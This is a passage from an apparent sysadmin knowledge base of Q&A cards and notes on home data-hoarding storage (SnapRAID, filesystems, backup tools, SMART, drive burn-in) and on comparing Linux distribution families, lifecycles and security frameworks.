1-parity = survive 1 failure (like RAID5)
2-parity = survive 2 failures (like RAID6)
3-parity = survive 3 failures (like RAID-Z3)
4-6 parity = for very large arrays (20+ disks)
Rule of thumb: 1 parity per 4 data disks for home use.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What is the correct relationship between SnapRAID parity and backups?]]
* [[What is the most critical rule about the parity drive in SnapRAID?]]
* [[What is SnapRAID split parity (v11.0+) and when would you use it?]]
Q: Why is ext4 the default filesystem choice for SnapRAID data drives?
A: ext4 is boring, reliable, and universally supported. It has mature fsck recovery tools, works on every Linux distro, and has decades of battle testing. It lacks checksums and snapshots, but SnapRAID provides checksumming and parity externally.
Mnemonic: "ext4 = Toyota Corolla" — not exciting, but it starts every morning.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[Why must SnapRAID content files be stored on multiple different drives?]]
* [[What is ext4?]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
XFS is the better choice over ext4 when workloads involve large files (4K video, ISOs, disk images), high-throughput sequential I/O, or heavy parallel operations. It suits media servers, databases, and enterprise storage well. Specific advantages: a superior allocator for large sequential writes; reflink copy support (<html><code>cp --reflink</code></html>); efficient handling of large directories; and volume support up to 8 EiB.
Key constraint: XFS volumes can be grown but never shrunk, so provisioning must account for final size upfront.
Historically XFS was fragile on sudden power loss, but the v5 on-disk format—default since 2014 (kernel 3.15, RHEL 7, Ubuntu 14.04+)—resolved most of those issues. Any modern deployment uses v5 automatically.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
* [[What filesystem does most RHEL/CentOS/Fedora systems use by default?]]
Q: Why should you never use btrfs RAID5 or RAID6 for data you care about?
A: btrfs RAID5/6 has an unfixed write hole bug. If power is lost during a write, parity can become inconsistent with data. On the next scrub, btrfs may "fix" good data with bad parity — making corruption worse. The kernel now warns when creating RAID5/6 profiles.
Safe btrfs options: RAID1 (mirroring) or RAID10. For parity protection, use SnapRAID externally instead.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[When would you choose Btrfs?]]
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
* [[What is the correct relationship between SnapRAID parity and backups?]]
Q: What are the pros and cons of ZFS for data hoarding compared to the JBOD+mergerfs+SnapRAID approach?
A: ZFS pros: CoW, built-in checksums, RAID-Z levels, ARC cache, zfs send/recv for backups, proven track record.
ZFS cons: Memory hungry (~1GB per TB rule of thumb), cannot easily add single drives to an existing pool, kernel module not in mainline Linux, no fsck equivalent (corrupt pool = data loss).
Key: ZFS is a different paradigm — it replaces mergerfs+SnapRAID entirely. Don't mix them.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What does JBOD stand for, and why do data hoarders prefer it over traditional RAID?]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
* [[Why is ext4 the default filesystem choice for SnapRAID data drives?]]
Q: What are BorgBackup's key features for data hoarding backups?
A: BorgBackup (2015, BSD-3-Clause, Python+C): content-defined chunking deduplication, compression (lz4/zstd/zlib/lzma), AES-256-CTR encryption, and append-only repos (ransomware protection).
Key commands: <html><code>borg init</code></html>, <html><code>borg create</code></html>, <html><code>borg prune</code></html>, <html><code>borg check</code></html>.
Choose borg when: local/SFTP targets, want max compression, need append-only repos.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What makes restic different from BorgBackup?]]
* [[What is rclone's crypt overlay and why is it important for offsite backups?]]
* [[Why is "backup on the same drive as source" not actually a backup?]]
Q: What makes restic different from BorgBackup?
A: restic (2015, BSD-2-Clause, Go): single static binary, native multi-backend support (S3, B2, Azure, GCS, SFTP, rclone), always-on AES-256 encryption, lock-free concurrent backups.
Choose restic when: backing up to cloud storage (S3/B2), want zero dependencies, need multi-platform support.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What are BorgBackup's key features for data hoarding backups?]]
* [[What is rclone's crypt overlay and why is it important for offsite backups?]]
Q: What is rclone's crypt overlay and why is it important for offsite backups?
A: rclone's crypt overlay provides client-side encryption as a transparent layer on any of rclone's 70+ storage backends. Data is encrypted locally before upload. The crypt remote wraps another remote, so <html><code>rclone sync /data b2-crypt:backups/</code></html> encrypts on-the-fly.
IMPORTANT: rclone is a sync/transfer tool, NOT a backup tool. It has no versioning or deduplication. Pair with borg/restic for those features.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What are BorgBackup's key features for data hoarding backups?]]
* [[What makes restic different from BorgBackup?]]
Q: What did Google's study reveal about SMART's ability to predict drive failures?
A: Google's 2007 study of 100,000+ drives found that 36% of failed drives showed ZERO SMART warnings beforehand. SMART catches gradual degradation (sector reallocation) but misses sudden failures (head crashes, PCB failures, firmware bugs).
Lesson: Use SMART as an early warning system, not a crystal ball. Always have parity + backups as additional layers.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[Which 5 SMART attributes are most important to monitor for drive health?]]
* [[What is drive burn-in and why do data hoarders do it before trusting new drives?]]
* [[What does Backblaze's public drive data tell us about failure rates?]]
Q: Which 5 SMART attributes are most important to monitor for drive health?
A: The big five: (1) Reallocated_Sector_Ct (#5) — bad sectors remapped, >0 is a concern; (2) Reported_Uncorrect (#187) — uncorrectable errors; (3) Command_Timeout (#188) — controller communication failures; (4) Current_Pending_Sector (#197) — sectors awaiting reallocation; (5) Offline_Uncorrectable (#198) — sectors failing offline tests.
Check: <html><code>smartctl -A /dev/sdX</code></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[Storage I/O errors masquerade as application problems; check dmesg and SMART first]]
* [[What did Google's study reveal about SMART's ability to predict drive failures?]]
* [[What is drive burn-in and why do data hoarders do it before trusting new drives?]]
Q: What is drive burn-in and why do data hoarders do it before trusting new drives?
A: Burn-in tests a new drive before putting data on it, catching infant mortality failures (drives that fail in the first weeks). Steps:
# <html><code>smartctl -t long /dev/sdX</code></html> (SMART extended test, 8-24h)
# <html><code>badblocks -wsv -b 4096 /dev/sdX</code></html> (destructive write+read test)
# Check SMART attributes after — any non-zero Reallocated/Pending sectors = RMA
Drives passing burn-in are statistically more reliable.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[Storage I/O errors masquerade as application problems; check dmesg and SMART first]]
* [[Which 5 SMART attributes are most important to monitor for drive health?]]
* [[What did Google's study reveal about SMART's ability to predict drive failures?]]
Q: What is par2 and what problem does it solve?
A: par2 (Parchive v2) uses Reed-Solomon error correction to create recovery blocks for files. Originally created for Usenet transfers (2001-2002, by Tobias Rieper, Stefan Wehlus, and Howard Fukada).
Use case: <html><code>par2 create -r10 archive.par2 *.tar.gz</code></html> creates 10% redundancy. If files are damaged, <html><code>par2 repair archive.par2</code></html> can reconstruct them. Ideal for cold storage archives and long-term preservation.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What is the correct relationship between SnapRAID parity and backups?]]
* [[Filesystem reports clean, RAID reports clean, but application data is corrupted. How is…]]
* [[What is SnapRAID split parity (v11.0+) and when would you use it?]]
Q: How do jdupes, fdupes, and rdfind compare for duplicate detection?
A: jdupes: fastest (7x faster than fdupes), C, supports hardlink/softlink/delete modes, hash-based, by Jody Bruchon.
fdupes: the original (1999, by Adrian Lopez), simpler interface, MD5 + byte-by-byte comparison.
rdfind: C++, ranking-based dedup, O(N log N) time.
All match only 100% identical files (no fuzzy matching). jdupes is the standard choice for data hoarding.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What are the pros and cons of ZFS for data hoarding compared to the JBOD+mergerfs+SnapR…]]
* [[Copying hard-link backups creates new inodes per file]]
* [[What are BorgBackup's key features for data hoarding backups?]]
Q: What is the advantage of using /dev/disk/by-id/ instead of /dev/sdX in fstab?
A: /dev/sdX device names (sda, sdb, sdc) can change between reboots depending on detection order. /dev/disk/by-id/ paths contain the drive model and serial number, creating stable identifiers that survive reboots, cable swaps, and controller changes.
Example: /dev/disk/by-id/ata-WDC_WD120EMFZ-11A6JA0_SERIAL-part1
Alternative: /dev/disk/by-uuid/ (filesystem UUID, also stable).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[Why do /dev/sdX device names change between reboots, and what should you use instead?]]
* [[Stable device references survive reboot via UUID, label, or WWN—never rely on /dev/sdX]]
* [[Using UUIDs in fstab instead of device paths prevents mount failures across disk changes]]
Q: How do you spin down idle drives to save power, and which tools handle it?
A: Two approaches:
# hdparm -S 242 /dev/sdX (value * 5 seconds, 242 = 1 hour standby timeout)
# hd-idle -i 600 /dev/sdX (600 seconds idle before spindown, more reliable for USB/some SATA)
Spindown reduces power (~8W active vs ~0.5W standby per drive) and wear on infrequently accessed archive drives. Caveat: frequent spin-up/down cycles also cause wear — balance idle timeout with access patterns.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[I/O schedulers evolved from disk optimization to irrelevance for SSDs]]
* [[Which 5 SMART attributes are most important to monitor for drive health?]]
Q: What is the "Perfect Media Server" stack and who created it?
A: The Perfect Media Server stack was popularized by Alex Kretzschmar (ironicbadger, host of the Self-Hosted podcast). It combines: mergerfs (union filesystem), SnapRAID (snapshot parity), ext4/XFS (per-drive filesystems), Docker (containers for media apps), rclone (cloud backup), and smartd (monitoring).
Site: perfectmediaserver.com
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What are the core tools in the *arr stack and what does each do?]]
* [[What is the purpose of /mnt and /media?]]
* [[What is systemd's creator known for?]]
Q: What happens if a drive fails to mount before running <html><code>snapraid sync</code></html>?
A: If a data drive doesn't mount, its mount point is empty. SnapRAID sees all files on that drive as "deleted" and syncs parity accordingly — destroying the parity protection for those files. This is the most dangerous SnapRAID failure mode.
Prevention: (1) Use snapraid-runner with deletethreshold, (2) Check <html><code>df -h /mnt/disk*</code></html> before sync, (3) Write a pre-sync script that verifies all drives are mounted.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What does `snapraid sync` do, and when should you run it?]]
* [[How do you recover files from a failed drive using SnapRAID?]]
* [[What is snapraid-runner and why use it instead of bare cron?]]
Q: Why is "backup on the same drive as source" not actually a backup?
A: A backup on the same physical drive protects against accidental deletion (maybe) but not against drive failure, ransomware affecting the whole filesystem, fire, or theft. Common mistakes: borg repo in /mnt/disk1/backups backing up /mnt/disk1/data, or restic repo on the same mergerfs pool.
The 3-2-1 rule requires: 3 copies, 2 different media types, 1 offsite. Same-drive copies satisfy none of these.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What is the correct relationship between SnapRAID parity and backups?]]
* [[What are BorgBackup's key features for data hoarding backups?]]
* [[Copying hard-link backups creates new inodes per file]]
Q: What is the circular dependency problem with encryption key storage?
A: If your encryption keys (LUKS, borg repokey, rclone crypt password) are stored only on the encrypted system itself, losing that system means losing access to all backups too.
Common traps: passphrase in a password manager, password manager backup on the encrypted drive; borg repokey stored only in the repo; rclone.conf with crypt passwords on the encrypted volume.
Fix: Store keys in 2+ independent locations (printed paper in safe + password manager with separate backup).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[LUKS encrypts block devices via dm-crypt with multiple key slots]]
* [[What is rclone's crypt overlay and why is it important for offsite backups?]]
Q: Why are noatime and nofail essential mount options for data hoarding drives?
A: noatime: prevents updating access time metadata on every read, eliminating unnecessary writes. Critical for media streaming (constant reads) and SnapRAID (fewer changes to sync).
nofail: if a drive fails or disconnects, boot continues instead of hanging. You get a degraded array instead of an unbootable server.
Always use: defaults,noatime,nofail for data drives.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[Why is ext4 the default filesystem choice for SnapRAID data drives?]]
* [[What do the mount options noexec, nosuid, and nodev mean?]]
* [[Filesystem mount options control durability guarantees; databases need explicit sync or journal]]
Q: Why must SnapRAID content files be stored on multiple different drives?
A: Content files are the checksum database — they store hashes for every file in the array. If all content file copies are lost, SnapRAID cannot verify data integrity or perform recovery. Store at least 2 copies on different physical drives (e.g., one on a data drive, one on /var).
Losing content files while also losing a data drive = unrecoverable data loss.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[Why is ext4 the default filesystem choice for SnapRAID data drives?]]
* [[What does `snapraid sync` do, and when should you run it?]]
* [[What is SnapRAID and how does it differ from real-time RAID?]]
Q: What are the core tools in the *arr stack and what does each do?
A: Sonarr: TV show management + download automation (monitors RSS, renames, organizes)
Radarr: Movie management (Sonarr fork, same pattern for movies)
Lidarr: Music management (same architecture)
Prowlarr: Indexer management (feeds search results to Sonarr/Radarr/Lidarr)
All run as Docker containers pointed at your mergerfs mount. They handle media lifecycle; the storage stack handles durability.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What is ELK/EFK stack?]]
Q: What is the correct relationship between SnapRAID parity and backups?
A: SnapRAID parity is NOT backup. Parity protects against disk failure (hardware). Backup protects against deletion, ransomware, fire, and theft (everything else). You need both.
Parity = survive a drive dying
Backup = survive rm -rf, ransomware, house fire
Minimum: SnapRAID for parity + borg/restic to a separate drive + rclone to offsite cloud.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
* [[What does `snapraid sync` do, and when should you run it?]]
* [[What is SnapRAID and how does it differ from real-time RAID?]]
Q: What does Backblaze's public drive data tell us about failure rates?
A: Backblaze publishes quarterly stats from 290,000+ drives. Key findings:
* 2024 AFR (Annualized Failure Rate): 1.57% overall
* 2025 AFR: dropped to 1.36%
* Failure rates vary dramatically by model and age
* High-capacity drives (20TB+) show lower AFR (~0.77% in Q4 2024)
* Some 12TB models exceed 5% AFR
Data is publicly downloadable at backblaze.com/cloud-storage/resources/hard-drive-test-data
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What did Google's study reveal about SMART's ability to predict drive failures?]]
* [[How many parity levels does SnapRAID support, and what does each level provide?]]
Q: What are the steps to add a new drive to an existing data hoarding array?
A: 1. Burn-in (SMART long test + badblocks): ~24 hours
# Format: mkfs.ext4 -L diskN /dev/sdX
# Mount: add to fstab with noatime,nofail, mount at /mnt/diskN
# Add to mergerfs (live: xattr on .mergerfs control file, or edit fstab and remount)
# Add to snapraid.conf (data dN /mnt/diskN/, plus content file)
# Run snapraid sync
mergerfs automatically starts using the new drive for new files based on create policy (e.g., mfs = most free space).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-data-hoarding.tsv</code></html>
''Related atoms''
* [[What happens if a drive fails to mount before running `snapraid sync`?]]
* [[Why must SnapRAID content files be stored on multiple different drives?]]
* [[What is SnapRAID split parity (v11.0+) and when would you use it?]]
Running commands as root unnecessarily, making changes without backups, ignoring disk space constraints, and misidentifying targets in destructive operations are not mere inconveniences—they compound into production emergencies. A single typo in a root-privileged command can corrupt system files a regular user couldn't touch. A configuration change without a backup copy means manual reconstruction if the change is wrong. Filling the filesystem to 100% silences logging and crashes applications. Targeting the wrong filesystem in a delete operation causes permanent data loss. Collectively, these mistakes produce 1–3 hours of service downtime, potential data corruption or loss, customer-facing service errors, and 6–12 engineer-hours to diagnose and repair. The reputation cost—ops team confidence shaken, runbooks needing updates—can linger longer than the incident itself.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/anti_primer.md</code></html>
''Related atoms''
* [[Running as Root Directly Converts Typos Into Uncontained System Damage]]
* [[Typos in destructive commands cause irreversible data loss]]
* [[Root cause: destructive commands on wrong target destroy data]]
Selecting a Linux distribution for a long-lived workload—enterprise servers, appliance deployment, VPS platform—is not a tactical preference; it is an infrastructure commitment with 5-10 year consequences. Once chosen, migrating a fleet away from RHEL to Debian, or vice versa, is expensive, risky, and painful. It forces retraining on different package managers, networking tools, security models, and provisioning formats. Teams must rebuild runbooks, retool monitoring agents, and re-qualify the new distro against compliance requirements. The choice locks in your vendor relationships (if enterprise support is needed), your security model (SELinux vs AppArmor), and your upgrade cadence (10-year stability vs rolling release). Making this decision thoughtfully upfront—understanding your workload's support needs, team expertise, compliance obligations, and long-term growth—saves years of firefighting later.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
''Related atoms''
* [[Linux distro support lifecycles compared]]
* [[Debian family prioritizes stability and community freedom]]
* [[When should you choose RHEL over Ubuntu?]]
The Red Hat ecosystem comprises four main distributions with distinct roles: Fedora (upstream testing ground, 6-month release cycle, cutting-edge, no enterprise support), RHEL (the commercial enterprise product with 10+ year support, vendor contracts, and FIPS/Common Criteria/STIG certifications), CentOS Stream (midstream rolling preview that pulls from Fedora and feeds into RHEL), and community rebuilds AlmaLinux and Rocky Linux (free, RHEL binary-compatible; emerged after the 2020 CentOS→Stream shift). All members of the family share a common tooling baseline: dnf/rpm for package management, systemd for init, SELinux (label-based mandatory access control) for security, firewalld as the default firewall, and NetworkManager for networking. RHEL is purpose-built for regulated environments: it provides predictable 3-year major release cycles within a 10+ year lifespan and is the de facto choice where vendor accountability and long-term stability are required. Fedora is the opposite extreme — fast-moving and unsuitable for enterprise production. CentOS Stream occupies the middle: a live preview of the next RHEL minor release, not a stable enterprise platform. AlmaLinux and Rocky Linux fill the gap left by the old CentOS by providing free, binary-compatible alternatives to RHEL without a commercial support contract.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does RHEL stand for?]]
* [[What Linux distributions are you familiar with?]]
* [[How does CentOS Stream differ from the old CentOS Linux?]]
The Debian ecosystem consists of Debian Stable (the stable, community-maintained base), Ubuntu LTS (Canonical's commercial long-term release), Ubuntu interim (6-month development releases), and downstream projects like Linux Mint and Pop!_OS. All use apt (the predictable package manager), systemd, and AppArmor (path-based MAC, easier to reason about than SELinux). Default firewalling is ufw, and networking configuration varies: newer Ubuntu uses Netplan, Debian uses ifupdown or NetworkManager. Debian Stable releases every ~2 years and is supported for ~5 years (extensible to 10+ years through the LTS team). Ubuntu LTS, released every 2 years in April, is supported for 5 years with an optional additional 5 years of security-only patches (ESM), and is the default distro on AWS, GCP, and Azure. For cloud and general-purpose servers, Ubuntu LTS is the most widely deployed distro globally due to cloud-init integration and ecosystem breadth.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
''Related atoms''
* [[Distro choice is a 5-10 year infrastructure commitment]]
* [[When should you choose Ubuntu LTS over RHEL?]]
* [[Linux distro support lifecycles compared]]
The SUSE ecosystem consists of SUSE Linux Enterprise (the enterprise product), openSUSE Leap (the free community mirror), and openSUSE Tumbleweed (the rolling release). All use zypper (the rpm-based package manager), systemd, AppArmor, and firewalld. SUSE's distinguishing feature is Btrfs: the filesystem is Btrfs by default with atomic snapshots of the entire root, making rollback trivial and atomic system updates safe. The configuration tool YaST is powerful but controversial: it offers a unified UI for networking, firewall, partitioning, and services. SLES is particularly strong in SAP, mainframe, and legacy infrastructure environments, where it holds significant market share. openSUSE Leap is SLES-derived and free, making it a good middle ground. Tumbleweed is the rolling-release variant for users who want continuous updates with snapshot safety.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
''Related atoms''
* [[What is zypper?]]
* [[Immutable distros represent a new Linux paradigm]]
* [[What automated provisioning tools do different distro families use?]]
Several distros stand alone outside the major families: Arch Linux (rolling release, minimal base, powerful AUR user repository), Alpine Linux (tiny ~5MB base image, musl libc, designed for containers and embedded systems), NixOS (declarative config, reproducible environments, atomic upgrades), Fedora CoreOS (immutable, auto-updating, designed for container hosts), and Flatcar (successor to CoreOS Container Linux, also immutable and self-updating). Arch is for power users who want maximum control and minimal hand-holding. Alpine is the standard for container base images (smaller than Debian-slim). NixOS is for teams that want reproducible infrastructure and easy rollback at the package level. Fedora CoreOS and Flatcar are purpose-built container host OSes: immutable, auto-patching, minimal attack surface. Each serves a specific philosophy or use case, and mixing them into a general-purpose fleet is usually a mistake.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
''Related atoms''
* [[Immutable distros represent a new Linux paradigm]]
* [[Alpine and Ubuntu in containers are userspace differences, not OS differences]]
Each Linux workload has a best-fit distro determined by support lifecycle needs, software availability, and operational complexity. Enterprise servers requiring vendor support and long-term stability benefit from RHEL or SLES (10+ year lifecycles, certified hardware, compliance packages). General-purpose cloud servers default to Ubuntu LTS (most prevalent on AWS/GCP/Azure, widest third-party software support, strong cloud-init integration). Container base images prioritize Alpine (smallest footprint), Debian-slim (compatibility), or Distroless (security). Container host OSes should be Fedora CoreOS, Flatcar, or Bottlerocket (immutable, auto-updating, designed for containers). Developer workstations can choose Fedora, Ubuntu, or Arch. CI/CD runners default to Ubuntu LTS. Embedded and IoT devices use Alpine, Buildroot, or Yocto (minimal footprint, fast boot, small attack surface). The pattern: don't standardize on one distro across all roles; instead, standardize within each role. This balances consistency with specialization.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
''Related atoms''
* [[Standardize distro families by workload role, not globally]]
* [[Cloud-init standardizes provisioning across all distros]]
* [[What automated provisioning tools do different distro families use?]]
Support lifespan determines upgrade cadence and infrastructure planning horizons.
''Enterprise distros (10+ years):'' RHEL provides Full Support + Maintenance + ELS phases totalling 10+ years; RHEL 9 is supported until ~2032–2035. SLES offers 10+ years with LTSS; SLES 15 similarly extends to ~2032–2035. Ubuntu LTS delivers 5 years standard + 5 years ESM = 10 years total (Ubuntu 22.04 LTS EOL: 2032). This predictability lets infrastructure teams plan decade-long deployments with major upgrades only every 3–4 years.
''Mid-tier distros (3–8 years):'' Debian Stable provides ~3 years regular support + ~2 years LTS + ~3 years ELTS, totalling roughly 8 years through community teams.
''Community and rolling distros (0–2 years):'' Fedora releases every 6 months with ~13-month EOL per release. Alpine provides ~2 years per release. Arch Linux is a rolling release with no fixed EOL — you maintain it continuously.
''Practical implication:'' Critical infrastructure should use distros with 10+ year lifecycles to avoid forced re-qualification and redeployment every 18 months. Fedora or Arch suit development and experimentation where recency matters more than stability.
''Distro family reference:'' Debian family (Ubuntu), Red Hat family (RHEL, Fedora), SUSE, Arch, Alpine.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Distro choice is a 5-10 year infrastructure commitment]]
* [[When should you choose RHEL over Ubuntu?]]
* [[When should you choose Ubuntu LTS over RHEL?]]
SELinux (default on RHEL/Fedora/CentOS) and AppArmor (default on Ubuntu/Debian/SUSE) are both mandatory access control (MAC) systems that restrict process capabilities, but they differ fundamentally in model and coverage.
''SELinux'' is label-based: every file, directory, and process carries a security label (e.g., <html><code>httpd_t</code></html>, <html><code>user_home_t</code></html>), and the kernel enforces policy based on those labels. All processes are confined by default, making coverage comprehensive. The tradeoff is a steep learning curve; administration requires <html><code>semanage fcontext</code></html>, <html><code>restorecon</code></html>, <html><code>setsebool</code></html>, <html><code>ausearch</code></html>, and <html><code>audit2allow</code></html>.
''AppArmor'' is path-based: it confines specific programs (e.g., <html><code>/usr/bin/firefox</code></html>) by whitelisting the files and capabilities each profiled binary may access. Only explicitly profiled programs are confined; all others run with no MAC restriction. This makes AppArmor easier to learn and start with (<html><code>aa-complain</code></html> enters learning mode; <html><code>aa-enforce</code></html> enables enforcement), but the coverage gap is significant—unconfined processes have zero MAC protection.
''Key tradeoff:'' SELinux is stronger (everything is confined) but demands expertise. AppArmor is more approachable (you choose what to confine) but leaves unconfiled processes unrestricted.
For enterprise compliance requirements such as FIPS or STIG, SELinux is often mandatory.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[AppArmor: path-based MAC on Debian, Ubuntu, and SUSE]]
* [[Explain AppArmor profiles and enforcement modes]]
Different distros use different provisioning formats: RHEL/Fedora use Kickstart (custom scripting), Debian/Ubuntu use Preseed (debconf key=value), SUSE uses AutoYaST (XML profiles), and Fedora CoreOS uses Ignition (JSON). This fragmentation made multi-distro infrastructure painful—until cloud-init emerged as the universal standard. Cloud-init is a tool that runs on first boot of a cloud VM (on AWS, GCP, Azure, DigitalOcean, etc.) and applies YAML-formatted cloud-config directives to configure users, packages, files, and services. It works on all distros, making it the de facto standard for IaC in the cloud. For golden-image building, Packer abstracts the differences: write once in HCL, build for any distro. The modern approach: use cloud-init for cloud VMs (works everywhere), Packer for building custom images, and Kickstart/Preseed only for bare-metal installs where cloud-init isn't available. Cloud-init unified the provisioning landscape and reduced the friction of multi-distro deployments.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
''Related atoms''
* [[What is cloud-init?]]
* [[Match distro choice to workload requirements]]
* [[Standardize distro families by workload role, not globally]]
Running multiple distros in one fleet creates friction: different package managers require different Ansible tasks, different MAC systems (SELinux vs AppArmor) need different hardening profiles, different networking stacks (nmcli vs netplan) need different config management, and security patching cadences diverge. The naive solution—standardize on one distro everywhere—is rigid and ignores specialization. The better approach: standardize within each workload role. All production servers are Ubuntu LTS (or RHEL if compliance mandates). All container hosts are Fedora CoreOS. All CI runners are Ubuntu LTS. All container images are Alpine (small) or Debian-slim (compatibility). Developer workstations can be Fedora, Ubuntu, or Arch (team choice). This reduces friction for each category while allowing specialization where it matters. In Ansible, use ansible_os_family conditionals to handle the few distro-specific tasks (firewall, networking, package names). This pattern scales to 10+ distros without becoming unmanageable.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/primer.md</code></html>
''Related atoms''
* [[Match distro choice to workload requirements]]
* [[How do you handle mixed-distro fleets in Ansible?]]
* [[Independent distros offer specialized niches and philosophies]]
The <html><code>/etc/os-release</code></html> file is the universal way to identify a Linux distro and version—available on all modern systems and reliably parsed. For scripts that need to branch on distro, the pattern <html><code>. /etc/os-release && echo "$ID $VERSION_ID"</code></html> produces stable output like <html><code>ubuntu 22.04</code></html> or <html><code>rhel 9.3</code></html>. Distro-specific commands like <html><code>lsb_release -a</code></html>, <html><code>cat /etc/redhat-release</code></html>, or <html><code>hostnamectl</code></html> work on their respective families but don't provide a single point of detection. Store the result in a variable early in your script and use it to conditionally select tools and paths downstream.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
''Related atoms''
* [[Audit mixed-distro fleets with Ansible to identify configuration drift]]
Alpine Linux uses <html><code>musl</code></html> libc instead of <html><code>glibc</code></html>, the standard on Debian, Ubuntu, RHEL, and most other distributions. This causes multiple classes of failures when code compiled or configured for glibc systems is run on Alpine:
* ''Binary compatibility'': Binaries compiled on glibc systems segfault or fail to start, often with cryptic errors that don't mention libc. This is the most common cause of builds passing in Ubuntu-based CI but failing in Alpine production containers.
* ''Python C extensions'': May fail to compile or behave differently.
* ''DNS resolution'': musl does not use <html><code>nsswitch.conf</code></html>; resolution behavior differs from glibc.
* ''Thread handling'': musl's threading semantics differ from glibc.
* ''Go + CGO'': Dynamic linking against glibc produces binaries that won't run on Alpine.
* ''Locale support'': musl has limited locale support compared to glibc.
''Fixes'':
* Set <html><code>CGO_ENABLED=0</code></html> to produce fully static Go binaries with no libc dependency.
* Match the base image between CI and production so compilation happens in the target environment.
* Use <html><code>debian:slim</code></html> instead of Alpine when glibc compatibility is required.
Alpine's minimal footprint (~5 MB, musl + BusyBox, <html><code>apk</code></html> package manager) makes it attractive for containers, but these compatibility gaps must be accounted for at build time.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Alpine and Ubuntu in containers are userspace differences, not OS differences]]
Package managers differ across distros: apt on Debian/Ubuntu, dnf on RHEL/Fedora, zypper on openSUSE, apk on Alpine, pacman on Arch. Scripts that must run on multiple distros should detect the available package manager using <html><code>command -v</code></html> and branch on the result, installing via the appropriate manager. The detection order matters: check for specific managers (apt, dnf, zypper, apk) rather than guessing from OS detection, since some systems may have multiple available. Alternatively, use Ansible's <html><code>ansible.builtin.package</code></html> module, which abstracts the manager away. The D-R-A-A mnemonic helps: ''D''ebian uses ''d''pkg/apt, ''R''ed Hat uses ''r''pm/dnf, ''A''lpine uses ''a''pk, ''A''rch uses pacman.
----
''Sources''
